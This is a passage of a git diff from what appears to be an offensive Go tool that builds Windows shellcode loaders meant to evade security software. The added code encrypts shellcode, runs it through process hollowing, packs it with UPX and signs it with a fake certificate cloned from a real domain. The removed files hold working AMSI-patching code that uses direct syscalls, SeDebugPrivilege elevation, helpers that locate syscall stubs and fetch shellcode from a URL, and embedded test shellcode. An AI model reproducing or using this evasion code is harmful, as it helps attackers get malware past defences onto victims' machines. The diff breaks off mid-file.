(strings.ToLower(encrypt) == "3des") { + main_func = main_func + ` + {{.Vars.shellcode}}, {{.Vars.err}} := {{.Vars.tripledes_decrypt_func}}({{.Vars.enc_shellcode}}, []byte("` + string(key) + `")) + if {{.Vars.err}} != nil { + log.Fatal({{.Vars.err}}) + } +` + } else if (strings.ToLower(encrypt) == "rc4") { + main_func = main_func + ` + {{.Vars.shellcode}}, {{.Vars.err}} := {{.Vars.rc4_decrypt_func}}({{.Vars.enc_shellcode}}, []byte("` + string(key) + `")) + if {{.Vars.err}} != nil { + log.Fatal({{.Vars.err}}) + } +` + } else if (strings.ToLower(encrypt) == "xor") { + main_func = main_func + ` + {{.Vars.shellcode}} := {{.Vars.xor_func}}({{.Vars.enc_shellcode}}, []byte("` + string(key) + `")) +` + } + + if (sleep_time) { + if (utils.RandomInt(1, 2) == 1) { + main_func = main_func + ` + {{.Vars.sleep_func}}() +` + } + } + + if (exec_technique == "processhollowing") { + main_func = main_func + ` + {{.Vars.err}} = {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}}, ` + ObfuscateStr(process, str_obfs) + `, ` + strconv.FormatBool(blockdlls) + `)` + } else { + main_func = main_func + ` + {{.Vars.err}} = {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}})` + } + + main_func = main_func + ` + if {{.Vars.err}} != nil { + log.Fatal({{.Vars.err}}) + } +} +` + + // parse main function + + if (!strings.HasPrefix(input_file, "http")) { + imports = utils.AppendString(imports, "encoding/hex") + } + + exports = utils.AppendString(exports, ParseTemplate(shellcode_def, Main)) + functions = utils.AppendString(functions, ParseTemplate(main_func, Main)) + + fmt.Println("[*] Obfuscating variables and functions...") + time.Sleep(100 * time.Millisecond) + + if (format == "dll") { + fmt.Println("[*] The function of the DLL to execute shellcode is: " + func_name) + time.Sleep(100 * time.Millisecond) + fmt.Println(" > Execute the DLL like: rundll32.exe " + output_file + "," + func_name + "\n") + } + + // write Golang code to file + err = WriteLoader("loader.go", imports, exports, functions) + if err != nil { + log.Fatal(err) + } + + fmt.Println("[*] Compiling shellcode loader...") + time.Sleep(100 * time.Millisecond) + + fmt.Println(" > Payload format is set to " + strings.ToUpper(format)) + time.Sleep(100 * time.Millisecond) + + if (verbose) { + fmt.Println(" > Using Golang compiler") + time.Sleep(100 * time.Millisecond) + } + + // compile source code + err = CompileLoader(format, output_file, compress, arch) + if err != nil { + log.Fatal(err) + } + + // compress loader using UPX + if (compress) { + _, err := exec.LookPath("upx") + if err == nil { + fmt.Println(" > Compressing " + output_file + " using UPX, this may take some time") + time.Sleep(100 * time.Millisecond) + + err = exec.Command("upx", "--best", "--force", output_file).Run() + if err != nil { + fmt.Println("[-] An error has ocurred while compressing the loader, skipping this step") + } + } else { + fmt.Println(" > UPX not found. Skipping this step") + } + } + + fi, err := os.Stat(output_file) + if err != nil { + log.Fatal(err) + } + fmt.Printf(" > %d bytes written to %s\n\n", fi.Size(), output_file) + + // sign generated loader using osslsigncode + // use fake cert + if (domain != "") { + fmt.Println("[*] Signing loader using a fake cert (" + domain + ")") + + password := utils.RandomString(utils.RandomInt(8, 12)) + + err = GenerateCerts(domain, password) + if err != nil { + fmt.Println(" > An error has ocurred while signing loader, so it won't be signed") + } else { + err = SignLoader(output_file, "signed_" + output_file, domain, password, verbose) + if err != nil { + fmt.Println(" > An error has ocurred while signing loader, so it won't be signed") + } else { + os.Remove(output_file) // remove original loader + err = os.Rename("signed_" + output_file, output_file) // rename signed loader + if err != nil { + log.Fatal(err) + } + } + } + fmt.Println() + + os.Remove(domain + ".key") + os.Remove(domain + ".pem") + os.Remove(domain + ".pfx") + } + + // use real certificate + if (cert != "") { + fmt.Println("[*] Signing loader using a valid cert (" + cert + ")") + + password := utils.RandomString(utils.RandomInt(8, 12)) + + err = SignLoader(output_file, "signed_" + output_file, domain, password, verbose) + if err != nil { + fmt.Println("[-] An error has ocurred while signing loader, so it won't be signed") + } else { + os.Remove(output_file) // remove original loader + err = os.Rename("signed_" + output_file, output_file) // rename signed loader + if err != nil { + log.Fatal(err) + } + } + } + + // compute entropy + entropy, err := utils.Entropy(output_file) + if err != nil { + log.Fatal(err) + } + fmt.Println("[+] Loader file entropy:", entropy) + + // compute checksums + md5, sha1, sha256, err := utils.CalculateSums(output_file) + if err != nil { + log.Fatal(err) + } + + time.Sleep(100 * time.Millisecond) + fmt.Println("[+] Checksums:") + fmt.Println(" > MD5:", md5) + fmt.Println(" > SHA1:", sha1) + fmt.Println(" > SHA256:", sha256) + + fmt.Println("\n[+] Shellcode loader has been successfully generated") + + os.Remove("loader.go") + + if (format == "dll") { + os.Remove(strings.Split(output_file, ".")[0] + ".h") // remove header file (e.g. loader.h) + } +} + +/* + +auxiliary functions start here + +*/ + +// create template, parse it, get result as string, reset buffer and return result +func ParseTemplate(func_to_parse string, template_main *LoaderTemplate) string { + //fmt.Println(func_to_parse) + template, err := template.New("template").Parse(func_to_parse) + if err != nil { + log.Fatal(err) + } + + err = template.Execute(&buffer, template_main) + if err != nil { + log.Fatal(err) + } + + parsed_func := buffer.String() + buffer.Reset() + + return parsed_func +} + +// function to finally write the Golang code to a file +func WriteLoader(code_file string, imports, exports, functions []string) error { + // create golang file + f, err := os.Create(code_file) + if err != nil { + return err + } + + // define imports and file eader + initial_code := `package main + +import ( +` + + // shuffle imports slice + ShuffleSlice(imports) + + // iterate over every import to add them to the loader code + for _, imp := range imports { + initial_code = initial_code + ` "` + imp + `" +` + } + initial_code = initial_code + ")\n" + + // mix slices + all_code_definitions := append(functions, exports...) + + // shuffle slices + ShuffleSlice(all_code_definitions) + + // create final code + var main_code string + for _, entry := range all_code_definitions { + main_code = main_code + entry + } + + // write initial code to loader file + _, err = f.WriteString(initial_code) + if err != nil { + return err + } + + // write remaining part of the code + _, err = f.WriteString(main_code) + if err != nil { + return err + } + + return nil +} + +// function to compile loader code based on provided arguments +func CompileLoader(format string, output_file string, compress bool, arch string) error { + // define command to compile source code + var compile_cmd *exec.Cmd + + // compile as .EXE + if (format == "exe") { + if (compress) { + compile_cmd = exec.Command("go", "build", "-ldflags", "-w -s", "-o", output_file, "loader.go") + } else { + compile_cmd = exec.Command("go", "build", "-o", output_file, "loader.go") + } + } else if (format == "dll") { // compile as .DLL + if (compress) { + compile_cmd = exec.Command("go", "build", "-ldflags", "-w -s", "-buildmode=c-shared", "-o", output_file, "loader.go") + } else { + compile_cmd = exec.Command("go", "build", "-buildmode=c-shared", "-o", output_file, "loader.go") + } + } + + compile_cmd.Env = append(os.Environ(), "GOARCH=" + arch, "GOOS=windows", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc") + err := compile_cmd.Run() + if err != nil { + fmt.Println("[-] Error while compiling loader!") + return err + } + + return nil +} + +func ShikataGaNai(shellcode []byte) ([]byte, error) { + rand_input_file := utils.RandomString(8) + ".bin" + rand_output_file := utils.RandomString(8) + ".bin" + + err := ioutil.WriteFile(rand_input_file, shellcode, 0644) + if err != nil { + return nil, err + } + + cmd := exec.Command("sgn", "-i", rand_input_file, "-o", rand_output_file) + err = cmd.Run() + if err != nil { + fmt.Println("[-] Error while running sgn to obfuscate shellcode, skipping this step") + + // revert changes if sgn returned an error + os.Remove(rand_input_file) + os.Remove(rand_output_file) + return nil, err + } + time.Sleep(100 * time.Millisecond) + + sgn_shellcode, err := utils.GetShellcodeFromFile(rand_output_file) + if err != nil { + return nil, err + } + + os.Remove(rand_input_file) + os.Remove(rand_output_file) + + return sgn_shellcode, nil +} + +// generate certificates needed to sign executables +func GenerateCerts(domain string, password string) error { + // create .KEY file + fmt.Println(" > Generating KEY file") + + rootKey, err := rsa.GenerateKey(crypto_rand.Reader, 4096) + if err != nil { + return err + } + + conn, err := tls.Dial("tcp", domain + ":443", &tls.Config{InsecureSkipVerify: true}) + if err != nil { + return err + } + defer conn.Close() + + var buff bytes.Buffer + for _, cert := range conn.ConnectionState().PeerCertificates { + err = pem.Encode(&buff, &pem.Block{Type: "CERTIFICATE", Bytes: cert.Raw}) + if err != nil { + return err + } + } + + certs := buff.String() + + block, _ := pem.Decode([]byte(certs)) + cert, _ := x509.ParseCertificate(block.Bytes) + + time.Sleep(100 * time.Millisecond) + file, err := os.Create(domain + ".key") + if err != nil { + return err + } + defer file.Close() + + b, err := x509.MarshalPKCS8PrivateKey(rootKey) + if err != nil { + return err + } + + err = pem.Encode(file, &pem.Block{Type: "RSA PRIVATE KEY", Bytes: b}) + if err != nil { + return err + } + + SubjectTemplate := x509.Certificate{ + SerialNumber: cert.SerialNumber, + Subject: pkix.Name{ + CommonName: cert.Subject.CommonName, + }, + NotBefore: cert.NotBefore, + NotAfter: cert.NotAfter, + BasicConstraintsValid: true, + IsCA: true, + KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, + ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth, x509.ExtKeyUsageClientAuth}, + } + + IssuerTemplate := x509.Certificate{ + SerialNumber: cert.SerialNumber, + Subject: pkix.Name{ + CommonName: cert.Issuer.CommonName, + }, + NotBefore: cert.NotBefore, + NotAfter: cert.NotAfter, + } + + derBytes, err := x509.CreateCertificate(crypto_rand.Reader, &SubjectTemplate, &IssuerTemplate, &rootKey.PublicKey, rootKey) + if err != nil { + return err + } + + // create .PEM file + fmt.Println(" > Generating PEM file") + time.Sleep(100 * time.Millisecond) + certOut, err := os.Create(domain + ".pem") + if err != nil { + return err + } + + err = pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}) + if err != nil { + return err + } + + err = certOut.Close() + if err != nil { + return err + } + + // generate PFX file + fmt.Println(" > Generating PFX file") + time.Sleep(100 * time.Millisecond) + cmd := exec.Command("openssl", "pkcs12", "-export", "-out", domain + ".pfx", "-inkey", domain + ".key", "-in", domain + ".pem", "-passin", "pass:" + password, "-passout", "pass:" + password) + err = cmd.Run() + if err != nil { + return err + } + + return nil +} + +func SignLoader(input_file string, output_file string, domain string, password string, verbose bool) error { + if (verbose) { + fmt.Println(" > Using osslsigncode to sign " + input_file) + time.Sleep(100 * time.Millisecond) + } + + cmd := exec.Command("osslsigncode", "sign", "-pkcs12", domain + ".pfx", "-in", input_file, "-out", output_file, "-pass", password) + err := cmd.Run() + if err != nil { + return err + } + + return nil +} + +// function which takes care of generating random configuration when the --rand CLI argument was provided +func GetRandomConfig() (string, string, bool, bool, bool, bool, bool, bool, bool, bool, bool, bool) { + var encrypt, unhook string + var noamsi, noetw, sgn, str_obfs, acg, blockdlls, sandbox, phantom, sleep_time, compress bool + + enc_rand := utils.RandomInt(1, 5) + if enc_rand == 1 { + encrypt = "aes" + } else if enc_rand == 2 { + encrypt = "3des" + } else if enc_rand == 3 { + encrypt = "rc4" + } else if enc_rand == 4 { + encrypt = "xor" + } else if enc_rand == 5 { + encrypt = "none" + } + + unhook_rand := utils.RandomInt(1, 3) + if unhook_rand == 1 { + unhook = "full" + } else if unhook_rand == 2 { + unhook = "peruns" + } else if unhook_rand == 3 { + unhook = "none" + } + + amsi_rand := utils.RandomInt(1, 2) + if amsi_rand == 1 { + noamsi = false // patch AMSI + } else { + noamsi = true // do not patch AMSI + } + + etw_rand := utils.RandomInt(1, 2) + if etw_rand == 1 { + noetw = false // patch ETW + } else { + noetw = true // do not patch ETW + } + + sgn_rand := utils.RandomInt(1, 2) + if sgn_rand == 1 { + sgn = false // do not use Shikata Ga Nai + } else { + _, err := exec.LookPath("sgn") // check if sgn command is installed + if err == nil { + sgn = true + } else { + sgn = false + } + } + + strings_rand := utils.RandomInt(1, 2) + if strings_rand == 1 { + str_obfs = true + } else { + str_obfs = false + } + + acg_rand := utils.RandomInt(1, 2) + if acg_rand == 1 { + acg = false // do not enable ACG Guard + } else { + acg = true // enable ACG Guard + } + + blockdlls_rand := utils.RandomInt(1, 2) + if blockdlls_rand == 1 { + blockdlls = true // enable blockdlls + } else { + blockdlls = false // do not enable blockdlls + } + + sandbox_rand := utils.RandomInt(1, 2) + if sandbox_rand == 1 { + sandbox = false // do not enable sandbox detection + } else { + sandbox = true // enable sandbox detection + } + + phantom_rand := utils.RandomInt(1, 2) + if phantom_rand == 1 { + phantom = false // do not use Phant0m technique + } else { + phantom = true // use Phant0m technique + } + + sleep_rand := utils.RandomInt(1, 2) + if sleep_rand == 1 { + sleep_time = true + } else { + sleep_time = false + } + + compress_rand := utils.RandomInt(1, 2) + if compress_rand == 1 { + compress = true + } else { + compress = false + } + + return encrypt, unhook, noamsi, noetw, sgn, str_obfs, acg, blockdlls, sandbox, phantom, sleep_time, compress +} + +func CaesarEncrypt(plaintext string, shift int) string { + ciphertext := "" + + for _, char := range plaintext { + if char >= 'A' && char <= 'Z' { + ciphertext += string((char-'A'+rune(shift))%26 + 'A') + } else if char >= 'a' && char <= 'z' { + ciphertext += string((char-'a'+rune(shift))%26 + 'a') + } else { + ciphertext += string(char) + } + } + + return ciphertext +} + +func CaesarDecrypt(ciphertext string, shift int) string { + return CaesarEncrypt(ciphertext, 26-shift) +} + +func ObfuscateStr(str string, str_obfs bool) string { + if (str_obfs) { + if strings.Contains(str, "\\") { + //fmt.Println(str) + str = strings.ReplaceAll(str, "\\", "\\\\") + } + + rand_shift := utils.RandomInt(2, 10) + return "{{.Vars.caesar_decrypt_func}}(\"" + CaesarEncrypt(str, rand_shift) + "\", " + strconv.Itoa(rand_shift) + ")" + } else { + return ConvertStr(str) + } +} + +func ShuffleSlice(slice []string) { + math_rand.Seed(time.Now().UnixNano()) + math_rand.Shuffle(len(slice), func(i, j int) { slice[i], slice[j] = slice[j], slice[i] }) +} + +func GenerateHash(str string, rand_num int) string { + if (rand_num == 1) { + return utils.Md5(str) + } else if (rand_num == 2) { + return utils.Sha1(str) + } else if (rand_num == 3) { + return utils.Sha256(str) + } + + return "" +} + +func ConvertStr(str string) string { + new_str := fmt.Sprint("string([]byte{") + for p, c := range str { + if fmt.Sprintf("%c", c) == "\\" { + new_str = new_str + fmt.Sprintf("'\\%c', ", c) + } else { + if (len(str) - 1) == p { + new_str = new_str + fmt.Sprintf("'%c'", c) + } else { + new_str = new_str + fmt.Sprintf("'%c', ", c) + } + } + } + new_str = new_str + fmt.Sprint("})") + + return new_str +} + +func GetCallsNames() (string, string, string, string, string, string) { + var NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtQueryInformationThread, NtQueryInformationProcess string + + if (utils.RandomInt(1,2) == 1) { + NtAllocateVirtualMemory = "NtAllocateVirtualMemory" + } else { + NtAllocateVirtualMemory = "ZwAllocateVirtualMemory" + } + + if (utils.RandomInt(1,2) == 1) { + NtWriteVirtualMemory = "NtWriteVirtualMemory" + } else { + NtWriteVirtualMemory = "ZwWriteVirtualMemory" + } + + if (utils.RandomInt(1,2) == 1) { + NtProtectVirtualMemory = "NtProtectVirtualMemory" + } else { + NtProtectVirtualMemory = "ZwProtectVirtualMemory" + } + + if (utils.RandomInt(1,2) == 1) { + NtCreateThreadEx = "NtCreateThreadEx" + } else { + NtCreateThreadEx = "ZwCreateThreadEx" + } + + if (utils.RandomInt(1,2) == 1) { + NtQueryInformationThread = "NtQueryInformationThread" + } else { + NtQueryInformationThread = "ZwQueryInformationThread" + } + + if (utils.RandomInt(1,2) == 1) { + NtQueryInformationProcess = "NtQueryInformationProcess" + } else { + NtQueryInformationProcess = "ZwQueryInformationProcess" + } + + return NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtQueryInformationThread, NtQueryInformationProcess +} + +func ConvertBytesToStrFormat(src_bytes []byte) string { + var new_str string + + new_str = "[]byte{" + + for _, b := range src_bytes { + new_str = new_str + fmt.Sprintf("0x%x, ", b) + } + + new_str = strings.TrimSuffix(new_str, ", ") + "}" + + return new_str +} + +func ConvertSliceToStrFormat(slice []string, str_obfs bool) string { + var new_str string + + if str_obfs { + new_str = "[]string{ " + } else { + new_str = "[]string{" + } + + for _, i := range slice { + new_str = new_str + ObfuscateStr(i, str_obfs) + ", " + } + + new_str = strings.TrimSuffix(new_str, ", ") + "}" + + return new_str +} + diff --git a/core/amsi.go b/core/amsi.go deleted file mode 100644 index 5fb212e..0000000 --- a/core/amsi.go +++ /dev/null @@ -1,79 +0,0 @@ -package core - -import ( - "fmt" - "syscall" - "unsafe" -) - -var amsi_patch = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1} - -func PatchAmsi() error { - err := WriteBytes(string([]byte{'a', 'm', 's', 'i', '.', 'd', 'l', 'l'}), string([]byte{'A', 'm', 's', 'i', 'S', 'c', 'a', 'n', 'B', 'u', 'f', 'f', 'e', 'r'}), &amsi_patch) - if err != nil { - return err - } - - return nil -} - -func WriteBytes(module string, proc string, data *[]byte) error { - - target := syscall.NewLazyDLL(module).NewProc(proc) - err := target.Find() - if err != nil { - return err - } - - ZwWriteVirtualMemory, err := GetSysId(string([]byte{'Z', 'w', 'W', 'r', 'i', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'})) - if err != nil { - return err - } - - NtProtectVirtualMemory, err := GetSysId(string([]byte{'N', 't', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'})) - if err != nil { - return err - } - - baseAddress := target.Addr() - numberOfBytesToProtect := uintptr(len(*data)) - var oldProtect uint32 - - ret, err := Syscall( - NtProtectVirtualMemory, - uintptr(0xffffffffffffffff), - uintptr(unsafe.Pointer(&baseAddress)), - uintptr(unsafe.Pointer(&numberOfBytesToProtect)), - syscall.PAGE_EXECUTE_READWRITE, - uintptr(unsafe.Pointer(&oldProtect)), - ) - if ret != 0 || err != nil { - return fmt.Errorf("there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s", 0, err) - } - - ret, err = Syscall( - ZwWriteVirtualMemory, - uintptr(0xffffffffffffffff), - target.Addr(), - uintptr(unsafe.Pointer(&[]byte(*data)[0])), - unsafe.Sizeof(*data), - 0, - ) - if ret != 0 || err != nil { - return fmt.Errorf("there was an error making the ZwWriteVirtualMemory syscall with a return of %d: %s", 0, err) - } - - ret, err = Syscall( - NtProtectVirtualMemory, - uintptr(0xffffffffffffffff), - uintptr(unsafe.Pointer(&baseAddress)), - uintptr(unsafe.Pointer(&numberOfBytesToProtect)), - uintptr(oldProtect), - uintptr(unsafe.Pointer(&oldProtect)), - ) - if ret != 0 || err != nil { - return fmt.Errorf("there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s", 0, err) - } - - return nil -} diff --git a/core/auxiliary.go b/core/auxiliary.go deleted file mode 100644 index 66ad07a..0000000 --- a/core/auxiliary.go +++ /dev/null @@ -1,387 +0,0 @@ -package core - -import ( - "bytes" - "crypto/sha1" - "encoding/binary" - "fmt" - "io" - "io/ioutil" - "math/rand" - "net/http" - "os" - "strings" - "syscall" - "time" - "unsafe" - - "golang.org/x/sys/windows" - - // Third-party packages - "github.com/Binject/debug/pe" -) - -var HookCheck = []byte{0x4c, 0x8b, 0xd1, 0xb8} // Define hooked bytes to look for - -type MayBeHookedError struct { // Define custom error for hooked functions - Foundbytes []byte -} - -func (e MayBeHookedError) Error() string { - return fmt.Sprintf("may be hooked: wanted %x got %x", HookCheck, e.Foundbytes) -} - -func rvaToOffset(pefile *pe.File, rva uint32) uint32 { - for _, hdr := range pefile.Sections { - baseoffset := uint64(rva) - if baseoffset > uint64(hdr.VirtualAddress) && - baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) { - return rva - hdr.VirtualAddress + hdr.Offset - } - } - return rva -} - -func CheckBytes(b []byte) (uint16, error) { - if !bytes.HasPrefix(b, HookCheck) { // Check syscall bytes - return 0, MayBeHookedError{Foundbytes: b} - } - - return binary.LittleEndian.Uint16(b[4:8]), nil -} - -// Generate a random integer between range -func RandomInt(max int, min int) int { // Return a random number between max and min - rand.Seed(time.Now().UnixNano()) - rand_int := rand.Intn(max-min+1) + min - return rand_int -} - -func RandomString(length int) string { // Return random string passing an integer (length) - var seededRand *rand.Rand = rand.New( - rand.NewSource(time.Now().UnixNano())) - const charset = "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" - - b := make([]byte, length) - for i := range b { - b[i] = charset[seededRand.Intn(len(charset))] - } - - return string(b) -} - -func CalcShellcode() []byte { - return []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3} -} - -// Shellcode helper functions - -func GetShellcodeFromUrl(sc_url string) ([]byte, error) { // Make request to URL return shellcode - req, err := http.NewRequest("GET", sc_url, nil) - if err != nil { - return []byte(""), err - } - - req.Header.Set("Accept", "application/x-www-form-urlencoded") - req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36") - client := &http.Client{} - resp, err := client.Do(req) - if err != nil { - return []byte(""), err - } - defer resp.Body.Close() - - b, err := io.ReadAll(resp.Body) - if err != nil { - return []byte(""), err - } - return b, nil -} - -func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and return content in bytes - f, err := os.Open(file) - if err != nil { - return []byte(""), err - } - defer f.Close() - - shellcode_bytes, err := ioutil.ReadAll(f) - if err != nil { - return []byte(""), err - } - - return shellcode_bytes, nil -} - -// Convert string to Sha1 (used for hashing) -func StrToSha1(str string) string { - h := sha1.New() - h.Write([]byte(str)) - bs := h.Sum(nil) - return fmt.Sprintf("%x", bs) -} - -func CheckHighPrivs() (bool, error) { // Function to check if current user has Administrator privileges - var sid *windows.SID - err := windows.AllocateAndInitializeSid( - &windows.SECURITY_NT_AUTHORITY, - 2, - windows.SECURITY_BUILTIN_DOMAIN_RID, - windows.DOMAIN_ALIAS_RID_ADMINS, - 0, 0, 0, 0, 0, 0, - &sid, - ) - if err != nil { - return false, err - } - - token := windows.Token(0) - member, err := token.IsMember(sid) // Check if is inside admin group - if err != nil { - return false, err - } - - return member, nil // return true (means high privs) or false (means low privs) -} - -// Enable SeDebugPrivilege -func ElevateProcessToken() error { - - type Luid struct { - lowPart uint32 // DWORD - highPart int32 // long - } - - type LuidAndAttributes struct { - luid Luid // LUID - attributes uint32 // DWORD - } - - type TokenPrivileges struct { - privilegeCount uint32 // DWORD - privileges [1]LuidAndAttributes - } - - const SeDebugPrivilege = "SeDebugPrivilege" - const tokenAdjustPrivileges = 0x0020 - const tokenQuery = 0x0008 - var hToken uintptr - - kernel32 := syscall.NewLazyDLL("kernel32.dll") - advapi32 := syscall.NewLazyDLL("advapi32.dll") - - GetCurrentProcess := kernel32.NewProc("GetCurrentProcess") - GetLastError := kernel32.NewProc("GetLastError") - OpenProcessToken := advapi32.NewProc("OpenProcessToken") - LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW") - AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges") - - currentProcess, _, _ := GetCurrentProcess.Call() - - result, _, err := OpenProcessToken.Call( - currentProcess, - tokenAdjustPrivileges|tokenQuery, - uintptr(unsafe.Pointer(&hToken)), - ) - - if result != 1 { - return err - } - - var tkp TokenPrivileges - - result, _, err = LookupPrivilegeValue.Call( - uintptr(0), - uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))), - uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))), - ) - - if result != 1 { - return err - } - - const SePrivilegeEnabled uint32 = 0x00000002 - - tkp.privilegeCount = 1 - tkp.privileges[0].attributes = SePrivilegeEnabled - - result, _, err = AdjustTokenPrivileges.Call( - hToken, - 0, - uintptr(unsafe.Pointer(&tkp)), - 0, - uintptr(0), - 0, - ) - - if result != 1 { - return err - } - - result, _, _ = GetLastError.Call() - if result != 0 { - return err - } - - return nil -} - -/* - -This code has been taken and modified from Doge-Gabh project - -*/ - -type Export struct { - Name string - VirtualAddress uintptr -} - -type sstring struct { - Length uint16 - MaxLength uint16 - PWstr *uint16 -} - -func (s sstring) String() string { - return windows.UTF16PtrToString(s.PWstr) -} - -func inMemLoads(modulename string) (uintptr, uintptr) { - s, si, p := gMLO(0) - start := p - i := 1 - - if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) { - return s, si - } - - for { - s, si, p = gMLO(i) - - if p != "" { - if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) { - return s, si - } - } - - if p == start { - break - } - - i++ - } - - return 0, 0 -} - -func GetNtdllStart() (start uintptr, size uintptr) - -func getExport(pModuleBase uintptr) []Export { - var exports []Export - var pImageNtHeaders = (*IMAGE_NT_HEADER)(unsafe.Pointer(pModuleBase + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(pModuleBase)).E_lfanew))) // ntH(pModuleBase) - //IMAGE_NT_SIGNATURE - if pImageNtHeaders.Signature != 0x00004550 { - return nil - } - var pImageExportDirectory *imageExportDir - - pImageExportDirectory = ((*imageExportDir)(unsafe.Pointer(uintptr(pModuleBase + uintptr(pImageNtHeaders.OptionalHeader.DataDirectory[0].VirtualAddress))))) - - pdwAddressOfFunctions := pModuleBase + uintptr(pImageExportDirectory.AddressOfFunctions) - pdwAddressOfNames := pModuleBase + uintptr(pImageExportDirectory.AddressOfNames) - - pwAddressOfNameOrdinales := pModuleBase + uintptr(pImageExportDirectory.AddressOfNameOrdinals) - - for cx := uintptr(0); cx < uintptr((pImageExportDirectory).NumberOfNames); cx++ { - var export Export - pczFunctionName := pModuleBase + uintptr(*(*uint32)(unsafe.Pointer(pdwAddressOfNames + cx*4))) - pFunctionAddress := pModuleBase + uintptr(*(*uint32)(unsafe.Pointer(pdwAddressOfFunctions + uintptr(*(*uint16)(unsafe.Pointer(pwAddressOfNameOrdinales + cx*2)))*4))) - export.Name = windows.BytePtrToString((*byte)(unsafe.Pointer(pczFunctionName))) - export.VirtualAddress = uintptr(pFunctionAddress) - exports = append(exports, export) - } - - return exports -} - -func memcpy(dst, src, size uintptr) { - for i := uintptr(0); i < size; i++ { - *(*uint8)(unsafe.Pointer(dst + i)) = *(*uint8)(unsafe.Pointer(src + i)) - } -} - -func findFirstSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int { - - offset := 0 - pattern1 := []byte{0x0f, 0x05, 0xc3} - pattern2 := []byte{0xcc, 0xcc, 0xcc} - - // find first occurrence of syscall+ret instructions - for i := 0; i < size-3; i++ { - instructions := []byte{pMem[i], pMem[i+1], pMem[i+2]} - - if (instructions[0] == pattern1[0]) && (instructions[1] == pattern1[1]) && (instructions[2] == pattern1[2]) { - offset = i - break - } - } - - // find the beginning of the syscall - for i := 3; i < 50; i++ { - instructions := []byte{pMem[offset-i], pMem[offset-i+1], pMem[offset-i+2]} - if (instructions[0] == pattern2[0]) && (instructions[1] == pattern2[1]) && (instructions[2] == pattern2[2]) { - offset = offset - i + 3 - break - } - } - - return offset -} - -func findLastSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int { - - offset := 0 - pattern := []byte{0x0f, 0x05, 0xc3, 0xcd, 0x2e, 0xc3, 0xcc, 0xcc, 0xcc} - - for i := size - 9; i > 0; i-- { - instructions := []byte{pMem[i], pMem[i+1], pMem[i+2], pMem[i+3], pMem[i+4], pMem[i+5], pMem[i+6], pMem[i+7], pMem[i+8]} - - if (instructions[0] == pattern[0]) && (instructions[1] == pattern[1]) && (instructions[2] == pattern[2]) { - offset = i + 6 - break - } - } - - return offset -} - -func gMLO(i int) (start uintptr, size uintptr, modulepath string) { - var badstring *sstring - start, size, badstring = getMLO(i) - modulepath = badstring.String() - return -} - -// getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll. -func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring) - -func uint16Down(b []byte, idx uint16) uint16 { - _ = b[1] // bounds check hint to compiler; see golang.org/issue/14808 - return uint16(b[0]) - idx | uint16(b[1])<<8 -} - -func uint16Up(b []byte, idx uint16) uint16 { - _ = b[1] // bounds check hint to compiler; see golang.org/issue/14808 - return uint16(b[0]) + idx | uint16(b[1])<<8 -} - -func contains(slice []string, item string) bool { - set := make(map[string]struct{}, len(slice)) - for _, s := range slice { - set[s] = struct{}{} - } - - _, ok := set[item] - return ok -} diff --git a/core/blockdlls.go b/core/blockdlls.go deleted file mode 100644 index 9a8bc95..0000000 --- a/core/blockdlls.go +++ /dev/null @@ -1 +0,0 @@ -package core diff --git a/core/blockhandle.go b/core/blockhandle.go deleted file mode 100644 index 67f31bc..0000000 --- a/core/blockhandle.go +++ /dev/null @@ -1,54 +0,0 @@ -package core - -import ( - "time" - //"errors" - "golang.org/x/sys/windows" - 